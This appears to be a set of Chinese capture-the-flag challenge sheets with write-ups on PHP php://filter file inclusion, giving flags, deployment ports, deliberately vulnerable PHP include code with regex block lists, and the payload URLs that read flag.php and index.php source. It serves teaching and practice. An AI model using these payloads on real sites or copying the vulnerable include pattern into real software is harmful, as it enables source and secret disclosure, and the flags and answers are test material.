[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-filter协议 | 1 |
[题目考点]:
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
[Flag格式]:
SangFor{nNhU12V9TPu3Jms49aso_mD6bHCotl5I}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2020
[题目writeup]:
在实验主页上没有发现到源码信息。随意点击后出现图片,在url上发现有跟参数,随机查看源码。
实际显示的为如下图片
可以由此分析category参数可能存在文件包含
通过此方法包含读取flag文件未成功,再次读取index.php文件
/index.php?category=php://filter/read=convert.base64-encode/resource=index
获取到index.php的源代码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
Base64解码,找到关键代码。分析,发现$file参数值必须带有woofers或者meowers或者index,而我们的目标是读取flag.php的内容。
php://filter伪协议可以支持任意嵌套协议,那么可以尝试构造payload:
/index.php?category=php://filter/read=convert.base64-encode/index/resource=flag
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-filter协议 | 1 |
[题目考点]:
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
[Flag格式]:
SangFor{DNWIN1VuxZqBnORb9KKmuirmWKmRBTr2}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2056
[题目writeup]:
1、实验主页
2、题解分析
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
前置知识
is_file() 函数检查指定的文件名是否是正常的文件
filter() 函数用于对来自非安全来源的数据(比如用户输入)进行验证和过滤
分析代码逻辑,首先定义了filter()方法对用户输入进行验证和过滤,不能含有正则表达式当中的字符串。
在第二个if条件判断中,如果传入的值不是正常存在的文件,并且通过filter()方法检验通过即可调用highlight_file打印源码。
考虑以上绕过的点,只需要通过php伪协议即可获取到flag
?file=php://filter/resource=flag.php
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-filter协议 | 1 |
[题目考点]:
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
[Flag格式]:
SangFor{mS1-JG3tES0kOLkM5houS8S67Eu9rPG2}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2058
[题目writeup]:
1、实验主页
2、题解分析
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zlib|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "tql,xdm";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
分析代码逻辑,与上一题相同。首先定义了filter()方法对用户输入进行验证和过滤,不能含有正则表达式当中的字符串,并且过滤了上一题所使用的zlib协议。
在第二个if条件判断中,如果传入的值不是正常存在的文件,并且通过filter()方法检验通过即可调用highlight_file打印源码。
?file=php://filter/resource=flag.php